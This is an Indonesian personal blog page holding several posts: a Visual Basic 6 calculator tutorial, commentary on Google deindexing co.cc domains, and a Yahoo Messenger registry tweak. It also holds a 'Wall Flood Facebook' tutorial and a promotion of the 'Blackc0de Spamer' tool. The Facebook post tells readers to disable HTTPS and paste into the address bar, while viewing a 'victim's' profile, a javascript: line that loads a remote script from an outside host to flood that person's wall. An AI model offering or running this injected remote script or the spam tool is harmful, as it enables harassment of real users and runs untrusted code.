Cara Membuat Calculator menggunakan Visual Basic 6

Selamat Malam ...
Selamat Menunaikan Ibadah Puasa Semua
Sorry baru sempat nonggol lagi
abis baru kali ini sempat Online hehehehehe
Ini saya ada tutor Membuat Calculator loh!!!
Langsung Saja ya :

alat yg di perlukan:
VB6 (Tentu)
Kesabaran
Ketelitian

pertama buka VB6 dan pilih standart Exe lalu buatlah Text dan command seperti di bawah ini :

Textbox 1:
(Name) : txtDisplay
Alignment: 1-Right Justify
Text : (kosongkan)
Maxlength : 12

Command Button 1:
(Name) : cmdAngka
Index : 1
Caption : 1

Command Button 2:
(Name) : cmdAngka
Index : 2
Caption : 2

Command Button 3:
(Name) : cmdAngka
Index : 3
Caption : 3

Command Button 4:
(Name) : cmdAngka
Index : 4
Caption : 4

Command Button 5:
(Name) : cmdAngka
Index : 5
Caption : 5

Command Button 6:
(Name) : cmdAngka
Index : 6
Caption : 6

Command Button 7:
(Name) : cmdAngka
Index : 7
Caption : 7

Command Button 8:
(Name) : cmdAngka
Index : 8
Caption : 8

Command Button 9:
(Name) : cmdAngka
Index : 9
Caption : 9

Command Button 10:
(Name) : cmdAngka
Index : 0
Caption : 0

Command Button 11:
(Name) : cmdPlusMinus
Caption : +/-

Command Button 12:
(Name) : cmdKoma
Caption : .

Command Button 13:
(Name) : cmdOperator
Index : 1
Caption : +

Command Button 14:
(Name) : cmdOperator
Index : 2
Caption : -

Command Button 15:
(Name) : cmdOperator
Index : 3
Caption : x

Command Button 16:
(Name) : cmdOperator
Index : 4
Caption : /

Command Button 17:
(Name) : cmdClearEntry
Caption : CE

Command Button 18:
(Name) : cmdClear
Caption : C

Command Button 19:
(Name) : cmdSamaDengan
Caption : = 

Untuk tata letak nya silahkan desain sendiri
Setelah membuat 1 Text dan beberapa command Copy paste Code di bawah ini ke Form1

Option Explicit
Private Hasil As Double
Private Const opNol = 0
Private Const opTambah = 1
Private Const opKurang = 2
Private Const opKali = 3
Private Const opBagi = 4
Private Operator As Integer
Private NilaiBaru As Boolean

' untuk menghapus karakter terakhir
Private Sub Hapus()
Dim txt As String
Dim min_len As Integer
txt = txtDisplay.Text
If Left$(txt, 1) = "-" Then
min_len = 2
Else
min_len = 1
End If
If Len(txt) > min_len Then
txtDisplay.Text = Left$(txt, Len(txt) - 1)
Else
txtDisplay.Text = "0"
End If
End Sub

' hapus angka, hasil terakhir dan operator
Private Sub cmdClear_Click()
cmdClearEntry_Click
Hasil = 0
Operator = opNol
End Sub
' hapus angka
Private Sub cmdClearEntry_Click()
txtDisplay.Text = ""
End Sub
' menambahkan koma (desimal)
Private Sub cmdKoma_Click()
If InStr(txtDisplay.Text, ".") Then
Beep
Else
If NilaiBaru Then
txtDisplay.Text = "."
NilaiBaru = False
Else
txtDisplay.Text = txtDisplay.Text & "."
End If
End If
End Sub

' Menghitung
Private Sub cmdSamaDengan_Click()
Dim HasilBaru As Double
If txtDisplay.Text = "" Then
HasilBaru = 0
Else
HasilBaru = CDbl(txtDisplay.Text)
End If
Select Case Operator
Case opNol
Hasil = HasilBaru
Case opTambah
Hasil = Hasil + HasilBaru
Case opKurang
Hasil = Hasil - HasilBaru
Case opKali
Hasil = Hasil * HasilBaru
Case opBagi
'Tidak bisa dibagi nol
If HasilBaru = 0 Then
MsgBox "Tidak bisa dibagi 0", vbOKOnly + vbCritical, "Kalku ERROR"
Call cmdClear_Click
Else
Hasil = Hasil / HasilBaru
End If
End Select
Operator = opNol
NilaiBaru = True
txtDisplay.Text = Format$(Hasil)
End Sub

' menuliskan angka
Private Sub cmdAngka_Click(Index As Integer)
If NilaiBaru Then
txtDisplay.Text = Format$(Index)
NilaiBaru = False
Else
txtDisplay.Text = _
txtDisplay.Text & Format$(Index)
End If
End Sub
' tombol tambah/kurang/bagi/kali
Private Sub cmdOperator_Click(Index As Integer)
cmdSamaDengan_Click
Operator = Index
NilaiBaru = True
End Sub

' merubah tanda +/-
Private Sub cmdPlusMinus_Click()
If NilaiBaru Then
txtDisplay.Text = "-"
ElseIf Left$(txtDisplay.Text, 1) = "-" Then
txtDisplay.Text = Right$(txtDisplay.Text, 2)
Else
txtDisplay.Text = "-" & txtDisplay.Text
End If
End Sub

' filter untuk angka saja yg dapat diketikkan
Private Sub Form_KeyPress(KeyAscii As Integer)
txtDisplay_KeyPress KeyAscii
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
txtDisplay_KeyUp KeyCode, Shift
End Sub
' supaya kursor tetap di kanan
Private Sub txtDisplay_Change()
txtDisplay.SelStart = Len(txtDisplay.Text)
End Sub
Private Sub txtDisplay_GotFocus()
txtDisplay_Change
End Sub

' untuk mengetikkan angka di keyboard
Private Sub txtDisplay_KeyPress(KeyAscii As Integer)
Dim ch As String
ch = Chr$(KeyAscii)
Select Case ch
Case "0"
cmdAngka_Click 0
Case "1"
cmdAngka_Click 1
Case "2"
cmdAngka_Click 2
Case "3"
cmdAngka_Click 3
Case "4"
cmdAngka_Click 4
Case "5"
cmdAngka_Click 5
Case "6"
cmdAngka_Click 6
Case "7"
cmdAngka_Click 7
Case "8"
cmdAngka_Click 8
Case "9"
cmdAngka_Click 9
Case "*", "x", "X"
cmdOperator_Click opKali
Case "+"
cmdOperator_Click opTambah
Case vbCrLf, vbCr, "="
cmdSamaDengan_Click
Case "-"
cmdOperator_Click opKurang
Case "."
cmdKoma_Click
Case "/"
cmdOperator_Click opBagi
Case "C", "c"
cmdClearEntry_Click
End Select
KeyAscii = 0
End Sub

' untuk ketikan angka di numpad
Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeyNumpad0
cmdAngka_Click 0
Case vbKeyNumpad1
cmdAngka_Click 1
Case vbKeyNumpad2
cmdAngka_Click 2
Case vbKeyNumpad3
cmdAngka_Click 3
Case vbKeyNumpad4
cmdAngka_Click 4
Case vbKeyNumpad5
cmdAngka_Click 5
Case vbKeyNumpad6
cmdAngka_Click 6
Case vbKeyNumpad7
cmdAngka_Click 7
Case vbKeyNumpad8
cmdAngka_Click 8
Case vbKeyNumpad9
cmdAngka_Click 9
Case vbKeyMultiply
cmdOperator_Click opKali
Case vbKeyAdd
cmdOperator_Click opTambah
Case vbKeySeparator
cmdSamaDengan_Click
Case vbKeySubtract
cmdOperator_Click opKurang
Case vbKeyDivide
cmdOperator_Click opBagi
Case vbKeyDecimal
cmdKoma_Click
Case vbKeyBack, vbKeyDelete
Hapus
End Select
KeyCode = 0
End Sub 

Credit : DianNamiKaZe dan Teman-Temannya

Read more


Taukah Kamu Kalo Blog dgn CO.CC Dihilangkan di Google Pencarian?

Bagi pemilik blog dengan domain co.cc tentunya bertanya tanya kenapa semua blog site dengan domain co.cc menghilang dari google pencarian? Kenapa seluruh domain co.cc tidak muncul di dalam Google pencarian ?
Dari jawaban Matt Cutts sang empunya google memberikan jawaban yaitu :

“This article reminds me of a Google webspam point of policy that I’ve been meaning to discuss for a long time. First, a definition: a “freehost” is a domain that will let anyone register a site on that domain. There’s lots and lots of high-quality freehosts out there (wordpress.com comes to mind).”

“We absolutely do try to be granular, but I wanted to mention that if we see a very large fraction of sites on a specific freehost be spammy or low-quality, we do reserve the right to take action on the freehost as a whole. I think most savvy search/SEO folks would understand this completely, but I figure it’s better to over-communicate than under-communicate.”

“This is not a new webspam policy. Other parts of Google do similar things. For example, talks about “bulk subdomain providers” (treat it as the same thing as a freehost) and they mention “To help protect users we recently modified those [malware scanning] systems to identify bulk subdomain services which are being abused. In some severe cases our systems may now flag the whole bulk domain.“

Intinya Jawaban Google Tentang Hilangnya CO.CC dari Mesin Pencarian Google begini :

Google sudah berulang kali mengingatkan tentang Aturan kebijakan Google Web spam policy. Google berhak memberikan tindakan banned atau de indexing dari google pencarian bila ada suatu situs terdeteksi merupakan blog / site yang berkualitas rendah , diantaranya melakukan spam, menggunakan Content Farm , termasuk AGC dan Copasser, dan site / blog tersebut terdeteksi terdapat malware.

Termasuk disini google nampaknya sangat ketat memberlakukan aturan ini terhadap domain/site/blog yang menggunakan Freehosting dan sub domain dari ”penyedia subdomain masal” seperti penyedia Bulk Domain CO.CC.
Penjelasan Matt Cutts Pemilik Google bisa dibaca di :
http://plus.google.com

Tindakan Google ini seiring dengan keluarnya jurus baru google pencarian baru yaitu Google Panda yang memang terbukti ampuh memberantas jutaan blog sampah di google pencarian yang marak akhir akhir ini
Tapi yang menjadi kontroversial adalah dengan adanya Banned masal Blog dengan domain co.cc, sehingga seluruh website blog dengan domain co.cc hilang dari google pencarian.

Dilaporkan sekitar 4 juta domain dari kurang lebih 30 juta Domain yang terdaftar co.cc yang terdeteksi melanggar kebijakan google ini namun nampaknya google akhirnya membanned seluruh domain co.cc termasuk TLD nya yaitu co.cc.

Jadi dengan adanya penerapan ini hanya karena 4 juta domain blog sampah terpaksa menganulir keseluruhan dari domain co.cc
Tindakan Google punishing terhadap co.cc di berbagai Forum SEO termasuk di Forum Webmaster nya google menuai perdebatan yang sangat sengit. Karena Google terkesan melakukan tindakan sepihak dan tidak proposional. Banyak yang mengangap tindakan ini merupakan arogansi dari google dan terkesan hal ini merupakan suatu persaingan bisnis yang tidak sehat. Sungguh merupakan hal yang tidak fair.

Kenapa hanya co.cc karena penyedia sub domain lain seperti cz.cc, co.tv , co.be dan masih banyak lagi penyedia sub domain masal tidak mendapat tindakan yang sama.
Kenapa juga blogger dengan blogspot nya yang nota bene juga penyedia layanan gratis sub domain blogspot tidak terkena tindakan ini, padahal banyak juga blog pada blogspot yang merupakan blog dengan kualitas rendah, dan terindikasi spam, dan malware .

Atau kah hanya karena bloggger merupakan milik dari Google sehingga aturan Google ini tidak diterapkan pada blogspot. Atau kah ada unsur diskriminasi google terhadap co.cc kah ? Lagi lagi pada ujung nya jawabanya adalah untuk mengamankan bisnis Google Incorporation.

Memang tidak di pungkiri saat ini google adalah pemegang peranan terbesar di dunia maya internet ini dengan Google Search Engine nya. Dan saat ini Google nampaknya menunjukan Powernya sebagai penguasa terbesar, sehingga bak Negara Amerika Serikat USA yang mersa dirinyalah penguasa Dunia sehingga bisa melakukan tindakan yang semena mena sesuai dengan keinginannya.
Perdebatan Alasan Banned Domain CO.CC oleh Google baca di:
http://www.google.co...m/p/Webmasters/
Kita tunggu sama sama perkembangan tentang kontroversi Banned masal google terhadap co.cc ini. Apakah Second Level domain lain akan terus aman ? Karena CZ.CC, CO.TV, CO.BE dan WordPress samapai saat artikel ini saya tulis masih aman di Google Pencarian

Bagi yang mempunyai blog dengan domain co.cc semoga tidak menjadi berkecil hati dan putus asa, karena selain google masih ada mesin pencarian lain yaitu Yahoo dan Bing. Bila berniat untuk semakin serius memang disarankan untuk berganti ke Top Level Domain TLD yaitu com, net, org, biz dan TLD lainnya.
TAG: Artikel ini untuk menjawab pertanyaan kenapa website co.cc hilang dalam google pencarian, Kenapa Google banned domain website CO.CC, Google Sandbox website CO.CC, Penyebab Hilangnya CO.CC dari daftar Google, Website CO.CC tidak muncul pada Mesin Pencarian Google, site:co.cc tidak muncul sama sekali di google. Apa Sebab website co.cc tidak terdaftar dalam Google Pencarian.


Sumber : SenTero.Net

Read more


Log in yahoo messenger ( unlimited / tanpa ada batasnya )

Hello World
Good Afternoon :D
Apakabar semua?
hahaha
langsung saja ya biar kalian tidak menunggu lama :


oh ya 
saya cuman mau kasih tutorial Log in Yahoo Messenger (YM) 
salah satu contoh gambarnya seperti ini :






1. Pertama klik Start => Run => ketikan Regedit

2. kalau sudah masuk regedit....
HKEY_CURRENT_USER => Software => Yahoo => pager =>Test

3. jika sudah ada di bagian test lakukan langkah berikut ..

Klik kanan => pilih New => pilih Dword

4. kalau sudah beri nama Plural



5. Double klik  isikan 1 pada value Box dan Basenya Decimal




6. Jika sudah .. tutup regedit .. restart yahoo messenger .. dan coba untuk membuka yahoo messenger ...


dan lihat la apa yang terjadi :D
selamat mencoba

Read more


Wall Flood Facebook ( Bagus untuk dicoba )

selamat malam sobat blogger 
saya akan memberikan salah satu cara membuat JUNKER di Wall Facebook
Oke langsung saja ya :

Langkah pertama kalian harus cek dulu Setting Account.
Caranya : 
1. klik Accoount > Account Setting > Account Security > Klik Change 
2. Uncheck "Secure Browsing (https) "
3. klik Save.

Next Cari target korban kalian dan buka Profile nya.
Setelah itu Copy paste Script berikut pada address bar Browser.. INGAT ! 
Addres Bar Browser!

javascript:(a = (b = document).createElement("script")).src = "//blazetorm.net/btflood.js", b.body.appendChild(a); void(0)

Isikan Jumlah Flood yg akan di masukan,misal 100
Dan isikan pesan nya..

Silahkan Refresh FaceBook Korban dan Floodpun berjalan.

NOTE : flood tidak akan berkerja jika Korban telah mensetting Account Privacy dimana "Friends Cannot Write on My Wall" di centang.

Use with your Own Risk !

Sekian Terima Kasih 

Read more


Blackc0de Spamer ( Karya Anak Indonesia )



NB : Klik Gambar Buat Download

Helloo Every body :D

apakabar semua?
sudah lama sekali saya tidak posting ini saya baru pulang dari liburan hehehe.....
langsung saja ya :

Blackc0de Spamer >>> apa itu spammer?
Spamer berasal dari Spam yakni tulisan-tulisan sampah/junkmail yang akan dikirim melalui E-mail secara berulang-ulang/bertubi-tubi tanpa diminta dan tidak dikehendaki oleh si penerima, tujuanya untuk mengiklankan sesuatu tapi tidak pada tempatnya.. hal ini tentu membuat si penerima menjadi tidak nyaman.


Saya akan mensertakan salah satu contohnya seperti ini :



 Mantap?

Di dalam BlackC0de Spamer ini terdapat fitur-fitur yang tidak akan pengguna software ini tidak merasa bosan sama sekali
didalam software ini terdapat fitur

[*] Always on top (selalu terdepan)
[*] Bisa memilih kecepatan[*] bisa mengirim lebih dari 1000 pesan (lebih dari 1000 akan sedikit mengalami eror/lag)
[*] Terdapat Windows force (Regedit, CMD, Disk Cleaner, Control Panel, System Info, Task manager)
[*] Terdapat mode Flashing twingkle (berkelap-kelip_[*] Terdapat Mode Transparan
[*] Dapat merubah fonts text (Arial, Lucida Fax, Bradley Hand ITC, Book Antiqua)
[*] Terdapat tutorial dalam 5 bahasa (Indonesia, Korea, Inggris, Jerman, Jepang)

Untuk tutorial saya sudah siapkan dalam software .. tapi kalau anda penasaran bisa melihat tutorial dibawah sini

Cara penggunaan Blackc0de Spammerz

Pengertian Spam secara harfiah adalah sampah, Atau sesuatu yang tidak kita inginkan berada di tempat kita.
kalau sudah tahu apa arti spam langsung aja ke cara penggunaanya
1. Buka Blackc0de Spammerz
2. Isikan pesan yang ingin di spam dalam kotak "Messege to spam"
3. Isikan dengan Nomor berapa pesan yang ingin di send
4. Pilih salah satu kecepatan yang ingin dipilih
5. Apabila anda sudah yakin dengan pilihan dan pesan klik "Start" Untuk Memulai
Jika anda sudah puas klik "Stop" Untuk menghentikan Proses Spam
6. Enjoy :-)

Read more

SoftwarGratis. Diberdayakan oleh Blogger.

Saya adalah Seorang anak muda berumur 16 tahun yang sebentar lagi 17 tahun di bulan juni ini saya dahalu punya blog juga ini blog ketiga saya blog lama saya semua tentang cheat saya bosen posting cheat jadi saya pindah aliran ke software kenapa saya pindah? karena kalau software itu tidak akan mati sedangkan cheat pasti ada pasang surutnya jadi saya harap dengan membuat blog Software Gratis ini bisa bermanfaat buat masbro :D regards JohnBrotha

Translate This

English French German Spain

Italian Dutch Russian Brazil

Japanese Korean Arabic Chinese Simplified
Translate Widget by Google

Data Anda

IP

Jam Blog saya

Followers

Tukaran Link

Software Gratis

Radio Blog

Web hosting for webmasters